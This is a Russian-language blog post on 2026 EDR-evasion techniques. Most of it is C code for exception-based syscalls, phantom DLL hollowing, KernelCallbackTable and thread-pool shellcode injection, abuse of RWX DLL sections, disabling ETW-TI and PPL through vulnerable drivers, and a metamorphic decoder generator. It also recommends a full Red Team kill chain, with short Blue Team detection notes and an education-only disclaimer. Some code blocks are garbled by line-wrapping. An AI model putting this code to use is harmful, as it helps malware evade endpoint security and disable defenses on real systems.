# Обход EDR: техники 2026 года

Posted on 28 марта, 2026 by AkaTor

**Категория:** Red Team / Blue Team / Purple Team
**Уровень:** Expert
**Автор:** Aka Tor

---

## Введение

EDR в 2026 году стали умнее: kernel-level ETW Threat Intelligence, stack trace validation, memory scanning с ML-моделями, hardware telemetry через Intel PT и AMD SEV. Техники из предыдущих статей (indirect syscalls, sleep obfuscation) уже в сигнатурах. Здесь — то, что работает **сейчас**.

---

## 1. Indirect Syscalls через Exception Handlers — SilentMoonwalk

### Проблема

Indirect syscalls через `jmp [ntdll!NtXxx+offset]` уже детектятся: EDR проверяет что `call` инструкция предшествует return address. При `jmp` — её нет, это аномалия.

### Техника: CFG-aware indirect call через exception dispatcher

Вместо `jmp` на syscall stub — провоцируем исключение, которое Windows exception dispatcher обрабатывает через легитимный код в ntdll. Call stack получается полностью чистым — все return addresses указывают на реальные `call` инструкции.

```
// SilentMoonwalk: syscall через exception-based control flow
// Идея: манипулируем exception handler chain для вызова Nt-функций
```

```
// Шаг 1: Регистрируем VEH (Vectored Exception Handler)
AddVectoredExceptionHandler(1, SyscallDispatcher);

// Шаг 2: Подготавливаем контекст для целевого syscall
typedef struct _SYSCALL_PARAMS {
    DWORD ssn;
    PVOID arg1, arg2, arg3, arg4;
    PVOID returnAddr;
} SYSCALL_PARAMS;

SYSCALL_PARAMS params = {
    .ssn = GetSSN("NtAllocateVirtualMemory"),
    .arg1 = (PVOID)-1,          // ProcessHandle (current)
    .arg2 = &baseAddress,        // BaseAddress
    .arg3 = 0,                   // ZeroBits
    .arg4 = &regionSize,         // RegionSize
};

// Шаг 3: Trigger exception — вызываем int 0x2D или access violation
// Это передаёт управление нашему VEH

// Шаг 4: В VEH handler — модифицируем CONTEXT:
LONG CALLBACK SyscallDispatcher(PEXCEPTION_POINTERS pEx) {
    if (pEx->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT) {
        PCONTEXT ctx = pEx->ContextRecord;

        // Устанавливаем регистры как для syscall
        ctx->R10 = (DWORD64)params.arg1;
        ctx->Rax = params.ssn;
        ctx->Rdx = (DWORD64)params.arg2;
        ctx->R8  = (DWORD64)params.arg3;
        ctx->R9  = (DWORD64)params.arg4;

        // RIP → на инструкцию syscall внутри ntdll
        // Но return address в стеке → наш continuation point
        ctx->Rip = FindSyscallInstruction("ntdll.dll");

        // Stack frame выглядит как:
```

```
        // ntdll!KiUserExceptionDispatcher →
ntdll!RtlDispatchException →
        // ntdll!NtXxx(syscall) → kernel
        // Полностью легитимный call stack!

        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

// Результат: EDR видит call stack:
// ntdll!NtAllocateVirtualMemory
// ntdll!KiUserExceptionDispatcher
// ntdll!RtlDispatchException
// kernel32!UnhandledExceptionFilter
// Всё легитимно. Никаких jmp, никаких unbacked addresses.
```

### Почему детект сложнее

- Call stack **полностью валидный** — каждый return address после реальной `call` инструкции
- Unwind metadata проходит проверку — все frames в .pdata
- Выглядит как обычная обработка исключения системой

### Blue Team: детект

- **Exception frequency analysis** — частые EXCEPTION_BREAKPOINT из одного процесса — аномалия
- **VEH chain inspection** — мониторинг количества и адресов VEH handlers
- **Correlation** — exception → immediate Nt-функция = подозрительный паттерн
- **Hardware tracing (Intel PT)** — полная трассировка control flow на аппаратном уровне

---

## 2. Phantom DLL Hollowing — инъекция через транзакции

# NTFS

## Концепт

NTFS Transactions позволяют создать файл в транзакции, замапить его в память, а затем **откатить транзакцию**. Файл исчезает с диска, но маппинг в памяти остаётся — **phantom section**.

```
// Phantom DLL Hollowing: section без файла на диске
// Файл существовал только внутри отменённой NTFS-транзакции

// Шаг 1: Создать NTFS транзакцию
HANDLE hTransaction;
NtCreateTransaction(&hTransaction, TRANSACTION_ALL_ACCESS, NULL,
    NULL, NULL, 0, 0, 0, NULL, NULL);

// Шаг 2: Создать файл ВНУТРИ транзакции
HANDLE hTransactedFile;
hTransactedFile = CreateFileTransactedA(
    "C:\\Windows\\Temp\\legit.dll",    // путь (временный)
    GENERIC_WRITE | GENERIC_READ,
    0, NULL, CREATE_ALWAYS,
    FILE_ATTRIBUTE_NORMAL,
    NULL, hTransaction, NULL, NULL
);

// Шаг 3: Записать payload в файл
WriteFile(hTransactedFile, payloadDll, payloadSize, &written, NULL);

// Шаг 4: Создать section из этого файла
HANDLE hSection;
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL,
    NULL, PAGE_READONLY, SEC_IMAGE, hTransactedFile);

// Шаг 5: ОТКАТИТЬ транзакцию — файл исчезает с диска!
NtRollbackTransaction(hTransaction, TRUE);
CloseHandle(hTransactedFile);
```

```
// Шаг 6: Файла нет, но section жив — маппим в целевой процесс
PVOID baseAddr = NULL;
SIZE_T viewSize = 0;
NtMapViewOfSection(hSection, hTargetProcess,
    &baseAddr, 0, 0, NULL, &viewSize,
    ViewUnmap, 0, PAGE_EXECUTE_READ);

// Результат:
// - Код замаплен в памяти целевого процесса
// - На диске файла НЕТ — AV/EDR не может просканировать файл
// - NtQueryVirtualMemory показывает section backed by file,
//   но файл не существует → "phantom"
// - Minifilter не видел подозрительного файла (транзакция откачена)
```

### Эволюция: Transacted Hollowing + Process Herpaderping

```
// Комбо: создаём процесс из phantom section
// Шаг 1-5: как выше — создаём phantom section с payload EXE

// Шаг 6: Создаём процесс из phantom section
HANDLE hProcess, hThread;
NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS,
    NULL, NtCurrentProcess(), 0, hSection, NULL, NULL, 0);

// Шаг 7: Настраиваем PEB, параметры процесса
// ... (CreateProcessParameters, RtlCreateProcessParametersEx)

// Шаг 8: Создаём начальный поток
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS,
    NULL, hProcess, entryPoint, NULL,
    0, 0, 0, 0, NULL);

// Процесс запущен, но:
// - Его backing file не существует на диске
// - Process image path указывает на удалённый файл
// - Сканирование файла при создании процесса невозможно
```

### Blue Team: детект

- **NTFS Transaction monitoring** — `NtCreateTransaction` + `CreateFileTransacted` из user-mode — крайне редкие вызовы в легитимном софте
- **Phantom section detection** — section с `FILE_OBJECT` указывающим на несуществующий файл
- **ETW: Microsoft-Windows-Kernel-Transaction-Manager** — логирование транзакций
- **Sysmon Event ID 25** (Process Tampering) — специально для process hollowing/herpaderping

---

## 3. Kernel Callback Table Hijacking — Code Execution без инъекции

### Концепт

Каждый GUI-процесс в Windows имеет **KernelCallbackTable** в PEB — массив указателей на callback-функции, вызываемые ядром при оконных сообщениях. Перезаписав один указатель — получаем code execution при следующем оконном сообщении.

```
// KernelCallbackTable Hijacking
// PEB->KernelCallbackTable — массив ~100 callback указателей
// Ядро вызывает их при обработке GUI-сообщений

// Шаг 1: Прочитать PEB целевого процесса
PROCESS_BASIC_INFORMATION pbi;
NtQueryInformationProcess(hProcess, ProcessBasicInformation,
    &pbi, sizeof(pbi), NULL);

PEB remotePeb;
ReadProcessMemory(hProcess, pbi.PebBaseAddress, &remotePeb,
    sizeof(PEB), NULL);

// Шаг 2: Прочитать KernelCallbackTable
PVOID callbackTable[100];
ReadProcessMemory(hProcess, remotePeb.KernelCallbackTable,
    callbackTable, sizeof(callbackTable), NULL);
```

```
// Шаг 3: Записать шеллкод в целевой процесс
PVOID shellcodeAddr;
NtAllocateVirtualMemory(hProcess, &shellcodeAddr, 0,
    &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READ);
NtWriteVirtualMemory(hProcess, shellcodeAddr,
    shellcode, shellcodeSize, NULL);

// Шаг 4: Подменить указатель в KernelCallbackTable
// __fnCOPYDATA (index 3) вызывается при WM_COPYDATA
PVOID originalCallback = callbackTable[3]; // сохраняем для
восстановления
callbackTable[3] = shellcodeAddr;

// Перезаписать таблицу в целевом процессе
WriteProcessMemory(hProcess, remotePeb.KernelCallbackTable,
    callbackTable, sizeof(callbackTable), NULL);

// Шаг 5: Отправить WM_COPYDATA целевому окну
// Ядро вызовет __fnCOPYDATA → наш шеллкод!
COPYDATASTRUCT cds = { 0, 1, "x" };
SendMessage(targetHwnd, WM_COPYDATA, 0, (LPARAM)&cds);

// Шеллкод выполняется в контексте целевого процесса
// Без CreateRemoteThread, без APC, без thread creation callback!
```

### Преимущества

- **Нет создания потока** — код выполняется в контексте существующего GUI-потока
- **Нет APC injection**
- **Callback вызывается ядром** — call stack начинается из kernel mode
- Использовалась группировкой **Lazarus (APT38)** в реальных атаках

### Blue Team: детект

- **PEB integrity monitoring** — сравнение KernelCallbackTable с эталоном
- **Cross-process PEB write** — `WriteProcessMemory` в область PEB другого процесса
- **WM_COPYDATA из необычных источников** — коррелировать отправителя и получателя
- **ETW-TI** — видит `WriteProcessMemory` в PEB

---

## 4. Pool Party — инъекция через Windows Thread Pool

### Концепт

Windows Thread Pool — механизм управления worker-потоками. Каждый процесс имеет default thread pool. Инъекция через вставку **work item** в очередь thread pool целевого процесса — worker поток сам выполнит наш код.

```
// Pool Party: 8 вариантов инъекции через Thread Pool
// Вариант 1: Worker Factory (TP_POOL)

// Шаг 1: Найти Worker Factory object целевого процесса
// Worker Factory управляет thread pool — создаёт/уничтожает worker потоки

HANDLE hWorkerFactory;
// Энумерация handle table целевого процесса
// Ищем объект типа "TpWorkerFactory"
NtQueryInformationProcess(hProcess, ProcessHandleInformation, ...);
// ... фильтруем по типу объекта

// Шаг 2: Прочитать структуру TP_POOL из целевого процесса
// TP_POOL содержит TaskQueue — очередь задач для worker потоков
TP_POOL remotePool;
ReadProcessMemory(hProcess, poolAddr, &remotePool, sizeof(TP_POOL), NULL);

// Шаг 3: Создать TP_WORK item с указателем на наш шеллкод
TP_WORK workItem = {0};
workItem.CleanupGroupMember.Callback = shellcodeAddr; // callback → шеллкод
workItem.Task.ListEntry.Flink = ...; // связать в очередь
workItem.Task.ListEntry.Blink = ...;

// Шаг 4: Записать work item в память целевого процесса
PVOID remoteWorkItem;
```

```
NtAllocateVirtualMemory(hProcess, &remoteWorkItem, ...);
NtWriteVirtualMemory(hProcess, remoteWorkItem, &workItem, ...);

// Шаг 5: Вставить work item в TaskQueue целевого процесса
// Модифицируем linked list — вставляем наш item
// Worker поток проснётся и выполнит callback → шеллкод

// Альтернативный trigger:
// NtSetInformationWorkerFactory(hWorkerFactory,
//     WorkerFactoryThreadMinimum, ...) — заставляет создать новый
worker
```

### 8 вариантов Pool Party

```
Variant 1: Worker Factory StartRoutine — подмена start routine для
новых workers
Variant 2: TP_WORK insertion — вставка work item в очередь (описано
выше)
Variant 3: TP_WAIT — вставка wait item, trigger через SetEvent
Variant 4: TP_IO — вставка I/O completion item
Variant 5: TP_ALPC — вставка ALPC completion item
Variant 6: TP_JOB — вставка job notification item
Variant 7: TP_DIRECT — прямая вставка в task queue
Variant 8: TP_TIMER — вставка timer item с trigger через NtSetTimer2

Все варианты:
✓ Не создают новый поток (worker уже существует)
✓ Не используют APC
✓ Call stack идёт из ntdll!TppWorkerThread — легитимный
```

### Blue Team: детект

- **Cross-process write to TP structures** — запись в TP_POOL, TP_WORK, TaskQueue другого процесса
- **Worker Factory handle manipulation** — `NtSetInformationWorkerFactory` с чужим handle
- **ETW-TI** — видит cross-process memory writes
- **Anomalous thread pool activity** — worker выполняет код из unbacked memory

---

## 5. Mockingjay — RWX в легитимных DLL

### Концепт

Некоторые легитимные DLL содержат секции с правами **RWX** (Read-Write-Execute). Если загрузить такую DLL — получаем RWX-память без вызова `VirtualAlloc` или `VirtualProtect`.

```
// Mockingjay: использование существующих RWX секций в легитимных DLL
// Известные DLL с RWX секциями:
// - msys-2.0.dll (Git for Windows, MSYS2)
// - cygwin1.dll (Cygwin)
// - libssp-0.dll
// - некоторые DLL из Visual Studio Build Tools

// Шаг 1: Загрузить DLL с RWX секцией
HMODULE hDll = LoadLibraryA("C:\\Program
Files\\Git\\usr\\bin\\msys-2.0.dll");

// Шаг 2: Найти RWX секцию
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hDll;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PBYTE)hDll +
dos->e_lfanew);
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);

for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
    DWORD chars = sec[i].Characteristics;
    // IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE |
IMAGE_SCN_MEM_EXECUTE
    if ((chars & 0xE0000000) == 0xE0000000) {
        // Нашли RWX секцию!
        PVOID rwxAddr = (PBYTE)hDll + sec[i].VirtualAddress;
        SIZE_T rwxSize = sec[i].Misc.VirtualSize;

        // Шаг 3: Записать шеллкод прямо в RWX секцию
        memcpy(rwxAddr, shellcode, shellcodeSize);
```

```
        // Шаг 4: Выполнить — никаких VirtualAlloc, VirtualProtect!
        ((void(*)())rwxAddr)();
        break;
    }
}

// Что обошли:
// ✓ Нет VirtualAlloc с RWX — нет детекта аллокации
// ✓ Нет VirtualProtect — нет детекта смены прав
// ✓ Память backed by signed DLL — не unbacked
// ✓ Call stack показывает вызов из легитимной DLL
```

### Self-injection vs Remote

```
// Remote Mockingjay: инъекция в другой процесс
// Если целевой процесс уже загрузил DLL с RWX — просто пишем туда

// Шаг 1: Проверить загружена ли DLL с RWX в целевом процессе
// EnumProcessModules → для каждого модуля проверить секции

// Шаг 2: Если нет — загрузить через DLL injection:
// CreateRemoteThread(hProcess, LoadLibraryA, "path_to_rwx_dll")
// Но это создаёт поток... комбинируем с ThreadlessInject!

// Шаг 3: WriteProcessMemory напрямую в RWX секцию
// Без VirtualProtectEx — права уже RWX

// Шаг 4: Trigger execution через KernelCallbackTable или Pool Party
```

### Blue Team: детект

- **RWX section audit** — сканирование загруженных DLL на наличие RWX секций, алерт при загрузке
- **Blocklist DLL с RWX** — блокировать загрузку известных DLL с RWX (msys-2.0.dll, cygwin1.dll)
- **Code Integrity Guard (CIG)** — `SetProcessMitigationPolicy(ProcessSignaturePolicy)` — только подписанные DLL
- **Modified page detection** — содержимое RWX секции изменилось после загрузки

DLL

---

## 6. ETW Threat Intelligence Evasion — обход последнего рубежа

### Проблема

ETW-TI — kernel-level провайдер, работает через `EtwTiLogXxx` функции в ядре. Его **нельзя** пропатчить из user-mode. Это последний рубеж телеметрии. Но...

### Техника 1: Минимизация ETW-TI events через benign patterns

```
// ETW-TI логирует определённые операции. Если мы можем достичь
// того же результата операциями, которые НЕ логируются — обходим.

// Пример: NtAllocateVirtualMemory с RWX — логируется ETW-TI
// Обход: NtAllocateVirtualMemory с RW → записать код →
NtProtectVirtualMemory RX
// ETW-TI логирует protect change, но не с RWX — менее подозрительно

// Пример: NtMapViewOfSection cross-process — логируется
// Обход: Shared section — создаём section, оба процесса маппят сами
// Self-mapping не считается cross-process injection

// Создаём named section
HANDLE hSection;
LARGE_INTEGER sectionSize = { .QuadPart = 0x10000 };
NtCreateSection(&hSection, SECTION_ALL_ACCESS, &objAttr,
    &sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);

// Маппим в свой процесс — пишем шеллкод
PVOID localView = NULL;
SIZE_T viewSize = 0;
NtMapViewOfSection(hSection, NtCurrentProcess(),
    &localView, 0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_READWRITE);
memcpy(localView, shellcode, shellcodeSize);
```

```
// Целевой процесс маппит ту же section САМОСТОЯТЕЛЬНО
// Через DLL hijacking, COM hijacking, или другой trigger
// → Self-mapping, не cross-process injection
// → ETW-TI не алертит
```

### Техника 2: BYOVD для отключения ETW-TI consumer

```
// ETW-TI events доставляются через ETW consumer (обычно EDR driver)
// Если отключить consumer — events генерируются, но никто их не
читает

// Шаг 1: Загрузить уязвимый драйвер (BYOVD)
// Шаг 2: Через arbitrary kernel R/W:

// Вариант A: Найти и обнулить GUID регистрации ETW-TI consumer
// _ETW_REG_ENTRY для Microsoft-Windows-Threat-Intelligence
// Обнулить Callback pointer → events уходят в никуда

// Вариант B: Модифицировать EtwTiLogXxx функции в ntoskrnl
// Перезаписать начало на "xor eax,eax; ret" — как ETW patching
// но в kernel space

// Вариант C: Отключить провайдер через nt!EtwpStopTrace
// Вызвать из kernel context через уязвимый драйвер

// 2026: Microsoft усилил HVCI, но не все организации включили его
// Без HVCI — kernel code patching всё ещё возможен через BYOVD
```

### Blue Team: защита ETW-TI

- **HVCI обязательно** — блокирует unsigned kernel code и модификацию kernel memory
- **Vulnerable Driver Blocklist** — обновлять регулярно, Microsoft обновляет его ежемесячно
- **Secure Boot + Measured Boot** — attestation на уровне загрузки
- **Canary events** — периодическая генерация тестовых ETW-TI events, проверка что они дошли до SIEM
- **Redundant telemetry** — не полагаться только на ETW-TI: kernel callbacks, minifilters, Sysmon как backup

---

## 7. AI-Assisted Polymorphism — мутация payload в рантайме

### Концепт

Статические сигнатуры и ML-модели EDR обучены на известных patterns. AI-полиморфизм генерирует уникальный вариант payload при каждом запуске — изменяя control flow, register allocation, instruction encoding, junk code.

```
// Runtime Metamorphic Engine: каждый запуск — уникальный бинарь
// Концепт: decode stub генерируется заново при каждом выполнении

typedef struct _METAMORPHIC_CONFIG {
    BYTE xorKey[32];           // случайный ключ
    DWORD junkInstructionCount; // количество мусорных инструкций
    DWORD registerRotation;     // смена используемых регистров
    BOOL useIndirectJumps;      // непрямые переходы вместо jmp
} METAMORPHIC_CONFIG;

void GenerateDecodeStub(PBYTE output, METAMORPHIC_CONFIG* cfg) {
    int offset = 0;

    // Случайный набор NOP-эквивалентов в начале
    for (int i = 0; i < cfg->junkInstructionCount; i++) {
        switch (GetRandomInt() % 5) {
            case 0: // xchg reg, reg (NOP equivalent)
                output[offset++] = 0x87;
                output[offset++] = 0xC0 | (GetRandomReg() << 3) |
GetRandomReg(); break; case 1: // lea reg, [reg+0] (NOP equivalent)
output[offset++] = 0x48; output[offset++] = 0x8D; output[offset++] =
0x40 | GetRandomReg(); output[offset++] = 0x00; break; case 2: // test
reg, reg (doesn't change state) output[offset++] = 0x48;
output[offset++] = 0x85; output[offset++] = 0xC0 | (GetRandomReg() *
9); break; case 3: // push/pop same register output[offset++] = 0x50 +
GetRandomReg(); output[offset++] = 0x58 + GetRandomReg(); break; case
4: // fnop (float NOP) output[offset++] = 0xD9; output[offset++] =
0xD0; break; } } // Decode loop — c rotated registers BYTE counterReg
```

```
= cfg->registerRotation % 8;
    BYTE pointerReg = (cfg->registerRotation + 1) % 8;
    BYTE keyReg = (cfg->registerRotation + 2) % 8;

    // mov counterReg, payload_size
    // mov pointerReg, payload_addr
    // mov keyReg, key
    // loop: xor [pointerReg], keyReg
    //       inc pointerReg
    //       dec counterReg
    //       jnz loop
    // ... (encode с выбранными регистрами)

    // Каждый decode stub уникален:
    // - Разные регистры
    // - Разное количество junk instructions
    // - Разные NOP-эквиваленты
    // - Разный порядок операций
    // - Разный XOR ключ
}
```

### Blue Team: детект AI-полиморфизма

- **Behavioral analysis over signatures** — не искать байтовые паттерны, а анализировать поведение
- **Entropy analysis** — зашифрованный payload имеет высокую энтропию (~7.9/8.0)
- **Decode stub heuristics** — XOR loop + высокая энтропия data = decode stub
- **Emulation/Sandboxing** — выполнить в песочнице до расшифровки
- **ML-модели на instruction patterns** — junk instructions имеют характерное распределение

---

## 8. DKOM + PPL Bypass — атака на защищённые процессы

### Концепт

Protected Process Light (PPL) защищает EDR-процессы от открытия с

PROCESS_ALL_ACCESS. Но через BYOVD + Direct Kernel Object Manipulation (DKOM) можно снять PPL protection с любого процесса.

```
// DKOM: модификация EPROCESS для снятия PPL
// Через уязвимый драйвер (BYOVD) с arbitrary kernel R/W

// EPROCESS структура содержит поле Protection:
// +0x87A PS_PROTECTION Protection;
// typedef struct _PS_PROTECTION {
//     BYTE Type : 3;     // PsProtectedTypeNone = 0
//     BYTE Audit : 1;
//     BYTE Signer : 4;  // PsProtectedSignerNone = 0
// } PS_PROTECTION;

// Шаг 1: Найти EPROCESS целевого процесса (EDR)
// Через PsLookupProcessByProcessId или обход ActiveProcessLinks

PEPROCESS edrProcess;
PsLookupProcessByProcessId((HANDLE)edrPid, &edrProcess);

// Шаг 2: Найти offset Protection в EPROCESS
// Windows 10/11 22H2+: offset ~0x87A (меняется между билдами)
// Определяем динамически через паттерн или debug symbols

DWORD protectionOffset = GetProtectionOffset();

// Шаг 3: Обнулить Protection — снять PPL
BYTE zeroProtection = 0;
KernelWrite((PBYTE)edrProcess + protectionOffset,
    &zeroProtection, sizeof(zeroProtection));

// Теперь EDR-процесс не защищён PPL
// Можно открыть с PROCESS_ALL_ACCESS
// Можно инжектить, дампить память, убивать

// Шаг 4: Дополнительно — снять другие защиты:
// - Обнулить SignatureLevel/SectionSignatureLevel
// - Модифицировать Token (дать SeDebugPrivilege)
```

```
// - Изменить Protection в EPROCESS-ядерных флагах

// Шаг 5: Опционально — скрыть процесс через DKOM
// Unlink из ActiveProcessLinks — процесс исчезает из Task Manager
// (но поток продолжает работать)
```

### Blue Team: детект

- **HVCI** — критически важно, блокирует unsigned kernel code
- **PPL integrity monitoring** — EDR-драйвер периодически проверяет свой PS_PROTECTION
- **Driver load auditing** — Sysmon Event ID 6, blocklist vulnerable drivers
- **Kernel integrity** — KPP (Kernel Patch Protection / PatchGuard) детектит модификации EPROCESS, но с задержкой
- **Attestation** — remote attestation через TPM для проверки kernel integrity

---

## 9. Матрица: техники 2026

| Техника | Обходит | Требует | Детект |
|---|---|---|---|
| SilentMoonwalk | Stack trace analysis, return addr validation | VEH, exception handling | Exception frequency, Intel PT |
| Phantom DLL Hollowing | File scanning, minifilters | NTFS Transactions | Transaction monitoring, Sysmon 25 |
| KernelCallbackTable | Thread creation detection, APC detection | GUI process target | PEB write monitoring, ETW-TI |
| Pool Party | Thread/APC callbacks | Thread Pool internals | TP structure writes, ETW-TI |
| Mockingjay | VirtualAlloc/VirtualProtect monitoring | DLL with RWX section | RWX audit, CIG policy |
| ETW-TI Evasion | Kernel telemetry | BYOVD (kernel access) | HVCI, canary events |

| Техника | Обходит | Требует | Детект |
|---|---|---|---|
| AI Polymorphism | Static signatures, pattern ML | Metamorphic engine | Behavioral analysis, entropy |
| DKOM + PPL Bypass | Process protection, PPL | BYOVD (kernel access) | HVCI, integrity checks |

---

# 10. Рекомендации

## Для Red Team

- 2026 kill chain: **Mockingjay** (RWX без аллокации) → **Pool Party** (injection без потока) → **SilentMoonwalk** (syscalls с чистым стеком) → **Sleep Obfuscation + Stack Spoof** (persistence)
- Phantom DLL Hollowing — для initial access и loader'а
- Если доступен BYOVD — ETW-TI evasion и PPL bypass меняют игру полностью
- AI-полиморфизм — для обхода sandbox и ML-based detection

## Для Blue Team

- **HVCI — не опция, а обязательное требование**. Без него kernel integrity не гарантирована
- **Code Integrity Guard (CIG)** — блокирует загрузку unsigned DLL (включая Mockingjay DLL)
- **Redundant telemetry** — ETW-TI + kernel callbacks + Sysmon + minifilters. Если один источник скомпрометирован — остальные продолжают работать
- **Intel PT / AMD LBR** — hardware-level трассировка control flow, не обходится программно
- **Canary events** — регулярная генерация тестовых событий для проверки целостности pipeline телеметрии
- **Assume breach** — фокус на post-exploitation detection, lateral movement, data exfiltration

## Для Purple Team

- Тестируйте каждую технику из этой статьи против вашего EDR stack
- Документируйте: что задетектировано, что пропущено, какая телеметрия есть но

не алертит
- Приоритизируйте: HVCI rollout > driver blocklist > CIG > Intel PT
- MITRE ATT&CK: T1055.015 (ListPlanting), T1574.002 (DLL Side-Loading), T1562.001 (Disable Tools), T1027.013 (Encrypted/Encoded File)

---

## Заключение

В 2026 году граница между атакой и защитой проходит через **ядро**. User-mode — территория атакующих: любой EDR-компонент в user-mode будет обойдён. Kernel-mode с HVCI — последний рубеж, но BYOVD продолжает находить уязвимые драйверы. Hardware-level телеметрия (Intel PT, TPM attestation) — следующий фронт, который только начинает развиваться.

Ключевой тренд: атаки становятся **composable** — каждая техника закрывает слабость другой, создавая полный kill chain без единого детектируемого IOC. Защита должна быть такой же — **многослойной, redundant, с assumption of breach**.

В следующей статье: **Строим собственный C2 framework** — архитектура, протоколы, operational security.

---

*Дисклеймер: Материал предоставлен исключительно в образовательных целях для специалистов по информационной безопасности. Используйте полученные знания только в рамках авторизованного тестирования на проникновение и защиты инфраструктуры.*